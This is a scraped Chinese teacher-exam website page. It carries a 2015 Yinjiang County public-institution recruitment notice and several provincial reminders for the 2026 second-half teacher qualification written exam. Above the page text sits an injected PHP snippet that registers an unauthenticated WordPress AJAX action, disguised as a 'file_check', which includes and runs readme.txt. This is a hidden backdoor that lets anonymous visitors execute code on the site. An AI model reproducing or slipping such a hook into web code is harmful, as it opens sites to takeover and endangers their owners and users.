if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
贵州印江县事业单位2015年公开招聘教师公告-全国教师资格考试网

贵州印江县事业单位2015年公开招聘教师公告

  为加强我县事业单位人才队伍建设,优化事业单位人员结构,经县委、县人民政府研究决定,并报铜仁市人力资源和社会保障局批准,2015年我县面向社会公开招聘事业单位工作人员204名,现将有关事项公告如下:
一、招聘原则及程序
公开招聘工作按照德才兼备的标准,遵循公开、平等、竞争、择优的原则,实行公开条件、公开报名、公开聘用、公开监督,并按照编制招聘计划、发布信息、报名、资格审查、考试、体检、考察、公示、聘用的程序进行。
二、招聘单位及人数
本次计划公开招聘事业单位工作人员204名,其中:教育类人员128名,卫生类人员30名,综合类人员46名。具体招聘计划和单位详见《印江自治县2015年事业单位公开招聘工作人员职位及资格条件一览表》。
三、招聘范围、对象及条件
(一)招聘范围、对象及条件
1、拥护中国共产党的领导,热爱祖国,有良好的职业道德,身心健康。
2、年龄要求在18周岁以上(1997年7月18日以前出生,35周岁以下(1980年7月18日以后出生)。面向村(社区)党支部书记、副书记、村(社区)委会主任、副主任招聘职位年龄放宽到40岁(1975年7月18日以后出生);面向乡村医师招聘职位年龄放宽到40岁(1975年7月18日以后出生)。
4、具有正常履行岗位职责的身体条件。
5、具体招聘职位所需资格条件详见《印江自治县2015年事业单位公开招聘工作人员职位及资格条件一览表》。
(二)以下人员不得报考:
1、党政机关、事业单位在职在编人员;
2、定向到具体行业或单位的2015年应届毕业生和委培生;
3、在各级公务员招考或事业单位招聘考试中被认定有舞弊、弄虚作假等严重违反考试纪律行为且仍在不得报考期限内的人员;
4、截止2015年7月18日服务期未满,仍在岗的“农村义务教育”阶段特岗教师。
四、发布信息
本次招聘相关信息均在印江县政府网发布。
网址:www.yinjiang.gov.cn
五、报名及资格审查
(一)报名要求
1、报名方式:本次招聘实行现场报名。报名时,报考人员根据职位资格条件,选择符合本人报考的职位,统一填写《印江自治县2015年事业单位公开招聘工作人员报名表》,每名报考人员只能选择一个职位报名。
报名信息必须真实、准确,对伪造虚假信息,骗取考试或聘用资格的,一经查实,取消资格。报考信息填写错漏或根据考生报名时提供的联系方式无法联系上考生本人造成后果的,责任由考生本人承担。
2、报名时间:2015年7月18—20日(上午8:30-12:00,下午14:30-17:30)。
3、报名地点:印江自治县人力资源和社会保障局(泉州商贸城二楼)。
4、县直事业单位(含峨岭镇)招聘计划与报名人数的比例不得低于1∶3,其他事业单位职位不受报名比例限制。报名人数达不到规定比例的,由县事业单位招聘工作领导小组对该职位的招聘计划予以调减或取消,予以调减或取消的职位由“县招聘工作领导小组办公室”于7月22日在印江县政府网站进行公布。取消职位的报名人员可申请改报符合资格条件的其他职位,不改报或超过改报时间的均视为自动放弃,改报工作于2015年7月22日17:30停止。
(二)资格审查
资格审查由“县招聘工作领导小组办公室”统一组织,各招聘单位具体负责,审查报名所需资料如下:
1、所有报考人员需提供毕业证和有效居民身份证(含有效临时居民身份证)原件及复印件各1份,近期同底免冠彩色一寸照片3张,《印江自治县2015年事业单位公开招聘工作人员报名表》。
2、报考教师职位的考生还需持教师资格证或教师资格考试合格证明原件及复印件,报考职校教师职位需取得相应专业执业技术资格证。
3、面向村(社区)党支部书记、副书记、村(社区)委会主任、副主任招聘职位的考生需持所在乡(镇)党委出具的截止2015年7月18日连续任职满三年的证明、推荐材料(须包含现实表现、推荐理由以及是否同意报考的意见)原件及相关材料(当选证明、任职文件)1份。
4、面向乡村医生招聘职位的考生需持《乡村医生执业证书》及县卫生和计划生育局出具的在职乡村医生证明。
5、面向本县籍大学生退役士兵招聘职位的考生需提供县民政局出具的符合退役大学生士兵条件证明原件1份、退伍证原件及复印件1份。
6、面向驻印江县部队随军家属招聘职位的考生需提供师(旅)级单位政治机关批准随军的材料复印件(需批准机关盖章)或证明1份,结婚证、户口薄原件及复印件1份。
7、面向“ 四项目人员”(西部计划志愿者”、“三支一扶”、“选聘到村任职”和“一村一名大学生工程)招聘职位的考生需持服务单位及服务地引导办(项目办)同意报考证明。
8、本县户籍或生源需2015年7月18日前在印江登记入户),限户籍或生源报考的职位,需提供有关证明。
资格审查贯穿整个招聘过程,在任何环节,如发现考生资格不符,即取消应聘资格。
(三)报名交费
资格审查合格的人员,根据财政、物价部门批准的收费标准,每人缴纳100元报名考务费。
(四)加分
本次招聘对符合下列条件的考生在笔试成绩中加3分,同时符合两项及以上加分条件的,不累计加分。具体条件如下:
1、革命烈士、因公牺牲人员子女或见义勇为死亡受县级以上表彰的公民子女,见义勇为受县级以上表彰者。
2、我县农村计生“两户”(“独生子女户”、“二女结扎户”)子女考生。报名时持独生子女证或二女结扎相关证明、户口簿原件及复印件各1份,同时需户口所在乡镇计生办出具证明,经县卫生和计划生育局审核签字盖章。
加分确认由“县招聘工作领导小组办公室”负责审查,加分审查时间与报名同时进行,符合上述加分条件的考生,报名时填写《印江自治县2015年事业单位公开招聘工作人员加分申请表》,并提交相关证件原件及复印件一份,审核后符合加分条件的,笔试成绩公布前在“印江政府网”上公示;公示结果无异议的,按规定予以加分。在报名期间未办理加分手续的,视为自动放弃加分。
资格审查和加分所需相关证明需由证明出具人和审查人亲笔签名,未签名的证明一律无效。
六、考试范围、时间和地点
考试工作由“县招聘工作领导小组办公室”统一组织。
(一)笔试
笔试为闭卷考试,实行统一管理,统一命题、统一制卷、统一考试时间。考试范围分别为:
1、教育类
高中(中职)教师、初中教师职位考生笔试科目为相应科目专业知识,考试范围为相应科目大学本科及高中教材;小学教师职位考生笔试科目为相应科目专业知识,考试范围为相应科目大学专科及初中教材;幼儿教师职位考生笔试科目为《学前教育基础知识》,考试范围为学前教育相应专业知识和教师职业道德。
2、卫生类
护士职位笔试科目为《护理基础知识》,考试范围为护理学基础知识;医技职位笔试科目为《医学基础知识》,考试范围为医学基础知识。
3、综合类
综合类职位笔试科目为《综合知识》,考试范围为《公共基础知识》、《行政职业能力倾向测试》。
(二)笔试准考证发放时间及地点。
1、发放时间:2015年7月31日9∶00—17∶30。
2、准考证发放地点:印江自治县人力资源和社会保障局(泉州商贸城二楼)。
笔试时间为2015年8月2日(具体时间和地点详见准考证)。考生应按照准考证确定的时间和地点参加考试。考生必须同时持有效《居民身份证》和准考证参加笔试。
(三)面试
1、面试对象:面试对象按照各招聘职位计划人数1∶3的比例,依照笔试总成绩从高分到低分确定,如末位出现并列,则同时进入面试。面试人数达不到1∶3的,参加笔试的考生全部进入面试,面试人员名单在印江政府网进行公布。
2、面试方式:A、综合类面试采取结构化面试的方式进行;B、教育类面试采取试讲,试讲内容为相应学科教材内容;幼儿教师面试内容为特长展示;C、卫生类采取结构化面试的方式进行,面试内容为卫生类专业公共知识。
面试时间及地点另行通知。
(四)考试成绩的计算
1、考试总成绩计算:
考试总成绩=(笔试成绩+加分)×60%+面试成绩×40%。
2、本次招聘考试以考试总成绩60分为合格分数线,达不到60分的取消进入下一环节资格。如考试总成绩出现末尾并列的,笔试成绩高的考生进入体检,如笔试成绩相同,另作加试,加试成绩高的进入体检。
3、笔试、面试、考试总成绩均实行百分制,四舍五入保留小数点后两位。
考生的笔试成绩、面试成绩、考试总成绩将在印江政府网进行公布。
七、体检
体检人员以考试总成绩从高分到低分按职位招聘计划1:1的比例确定。体检工作由“县招聘工作领导小组办公室”统一组织实施。体检工作程序、项目及标准参照贵州省公务员录用体检标准有关规定执行。体检医院由“县招聘工作领导小组办公室”指定区(县)及以上综合性医院,体检在规定时间内进行并做出体检结论,其他结论、鉴定一律不予认可。体检费用由考生自理。放弃体检或体检不合格的,取消进入下一环节资格,空缺职位不予递补。
体检时间和地点另行通知。
八、考察
体检合格人员确定为考察对象,考察工作由“县招聘工作领导小组办公室”统一组织,负责对考察工作进行指导和督促,由各招聘单位(部门)负责本系统的具体考察工作。
对应届毕业生的考察侧重于查阅档案、在校表现、现实表现、学业成绩的考核;对往届毕业生要采取查阅档案、还需对被考察对象进行实地综合考察。在考察中发现有下列情况之一者,考察不合格,取消进入下一环节资格:
1、不能坚持党的基本路线,在重大政治问题上不能与党中央保持一致;
2、有违法违纪行为,或被司法机关确定为犯罪嫌疑人;
3、没有考察依据(如个人档案)或报名时提供虚假证明和材料;
4、不能按时提供报考职位所需相关资格证书等资料的(2015年应届毕业生须于2015年8月30日前提供学籍档案、报到证、毕业证、身份证等资料);
5、考察中发现已被其他机关事业单位正式录、聘用或辞退、开除的;
6、在岗的“农村义务教育”阶段特岗教师;
7、不符合招聘范围、对象、条件的;
8、其它经“县招聘工作领导小组办公室”研究确定不能聘用的;
放弃考察或考察不合格者,取消进入下一环节资格,空缺职位不予以递补。
九、审核、聘用审批
考察合格的人员,确定为拟聘用人员(幼儿教师按考试成绩选聘岗位),由“县招聘工作领导小组办公室”在印江政府网进行公示。公示不合格的,取消进入下一环节资格,空缺职位不予以递补。
公示合格的人员,报铜仁市人力资源和社会保障局批复后由县人力资源和社会保障局与用人单位主管部门办理有关聘用手续。审核不合格的人员取消聘用资格。
招聘人员为事业编制,实行一年试用期。
十、有关要求
1、经审核行文聘用的人员,与聘用单位签订《事业单位聘用合同书》(一式四份)经主管部门审核后,报县人力资源和社会保障局进行合同鉴证。
2、新聘用人员在我县服务年限不得少于三年(含一年试用期),服务期从签订聘用合同时间起计算。
3、新聘用人员未按要求履行工作职责或在服务期限未满的情况下,因个人原因离开工作单位的,需承担相应违约责任。
十一、招聘纪律
招聘工作严格遵循公开、平等、竞争、择优的原则进行,接受纪检监察机关及社会各界的监督。从事招聘考试、考察的工作人员与报考者有回避关系的,应当实行公务回避。坚决杜绝弄虚作假、徇私舞弊等不良现象。如有违纪情况发生,对考生取消聘用资格,对违纪的相关人员给予纪律处分。
十二、其他
1、本《实施方案》由“县招聘工作领导小组办公室”负责解释。未尽事宜由“县招聘工作领导小组”研究确定。
2、本次招聘考试相关信息在印江政府网发布,请考生密切关注,因考生未阅而引起的后果由考生自负。
3、招聘咨询电话:0856-6231050(印江县人社局)。
4、招聘监督电话:0856-6222553(印江县监察局)。
印江自治县事业单位公开招聘工作人员领导小组办公室
2015年7月9日
 
回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部